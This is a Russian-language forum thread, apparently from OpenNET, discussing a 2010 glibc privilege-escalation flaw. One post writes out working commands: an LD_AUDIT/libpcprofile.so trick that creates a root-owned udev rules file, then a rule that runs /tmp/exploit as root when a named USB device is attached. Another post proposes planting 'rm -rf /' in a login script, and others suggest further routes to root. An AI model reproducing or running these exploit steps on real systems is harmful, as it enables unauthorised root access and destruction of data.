The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы [ Отслеживать ]

Оглавление

Для Glibc представлен еще один метод повышения привилегий, opennews (?), 23-Окт-10, (0) [смотреть все]

Сообщения [Сортировка по времени | RSS]


68. "Для Glibc представлен еще один метод повышения привилегий"  +/
Сообщение от aNoN (?), 23-Окт-10, 19:13 
А, например, в /etc/profile.d/boo.sh "rm -rf /" запихнуть не проще будет?
Ответить | Правка | Наверх | Cообщить модератору

69. "Для Glibc представлен еще один метод повышения привилегий"  +/
Сообщение от pavlinux (ok), 23-Окт-10, 19:18 
> А, например, в /etc/profile.d/boo.sh "rm -rf /" запихнуть не проще будет?

Запихнуть можно, но нужно чтоб его оттуда кто-то вызвал. Причём с правами рута.

В общем, эта дыра хороший тест - "Насколько я хорошо знаю как работает Linux!" :)

Ответить | Правка | Наверх | Cообщить модератору

70. "Для Glibc представлен еще один метод повышения привилегий"  +/
Сообщение от aNoN (?), 23-Окт-10, 19:24 
При том же рестарте системы он отработает. Или при логине рута.
Ответить | Правка | Наверх | Cообщить модератору

77. "Для Glibc представлен еще один метод повышения привилегий"  +/
Сообщение от pavlinux (ok), 23-Окт-10, 20:11 
> При том же рестарте системы он отработает. Или при логине рута.

Да не работает оно само! Там наборы переменных и функций башовских,
их надо включать и вызывать  

Speшаl фо you

pavel@suse64:~> cat /etc/profile.d/boo.sh

#!/bin/bash

echo "ЖОПА" > /DJOPA

---

# init 6

...

#  ls -pa /
./   boot/    dev/  home/  lib64/  mnt/  proc/  sbin/  srv/  tmp/  var/
../  bin/ etc/  lib/   media/  opt/  root/  sched_fair.patch  sys/  usr/  

Нэту!


Ответить | Правка | Наверх | Cообщить модератору

83. "Для Glibc представлен еще один метод повышения привилегий"  +/
Сообщение от aNoN (?), 23-Окт-10, 21:10 
У меня отработало.
От юзера при логине ругается на отсутствие прав. При логине рута выполняет всё.
Ответить | Правка | Наверх | Cообщить модератору

84. "Для Glibc представлен еще один метод повышения привилегий"  +/
Сообщение от pavlinux (ok), 23-Окт-10, 21:16 
> У меня отработало.
> От юзера при логине ругается на отсутствие прав. При логине рута выполняет
> всё.

Какого юзера, какого рута...


man bash на предмет INVOCATION


Ответить | Правка | Наверх | Cообщить модератору

72. "Для Glibc представлен еще один метод повышения привилегий"  +/
Сообщение от Аноним (-), 23-Окт-10, 19:30 
кстати я тоже думал в /etc/profile засунуть. интересно, а куда еще можно чего засунуть, чтобы получить рута?
Ответить | Правка | К родителю #68 | Наверх | Cообщить модератору

78. "Для Glibc представлен еще один метод повышения привилегий"  +/
Сообщение от pavlinux (ok), 23-Окт-10, 20:15 
> кстати я тоже думал в /etc/profile засунуть.

Нельзя

-rw-r--r-- 1 root root 9012 Авг  4  2009 /etc/profile

> интересно, а куда еще можно чего засунуть, чтобы получить рута?

Ну вот и проверь себя.


Ответить | Правка | Наверх | Cообщить модератору

79. "Для Glibc представлен еще один метод повышения привилегий"  +/
Сообщение от pavlinux (ok), 23-Окт-10, 20:23 
> кстати я тоже думал в /etc/profile засунуть. интересно, а куда еще можно
> чего засунуть, чтобы получить рута?

В UDEV подсунь.


$ lsusb
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 002 Device 003: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode)

$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/udev/rules.d/45-svistok.rules" ping

$ printf 'SUBSYSTEM!="usb_device", GOTO="end"\n ACTION!="add", GOTO="end"\n ATTRS{idVendor}=="0a12", ATTRS{idProduct}=="0001", RUN+="/tmp/exploit"\n LABEL="end"\n' > /etc/udev/rules.d/45-svistok.rules

$ cat /etc/udev/rules.d/45-svistok.rules

SUBSYSTEM!="usb_device", GOTO="end"
ACTION!="add", GOTO="end"
ATTRS{idVendor}=="0a12", ATTRS{idProduct}=="0001", RUN+="/tmp/exploit"
LABEL="end"

Ответить | Правка | К родителю #72 | Наверх | Cообщить модератору

105. "Для Glibc представлен еще один метод повышения привилегий"  +/
Сообщение от Kostik (??), 26-Окт-10, 22:49 
> интересно, а куда еще можно
> чего засунуть, чтобы получить рута?

apache+mpm_itk

Ответить | Правка | К родителю #72 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру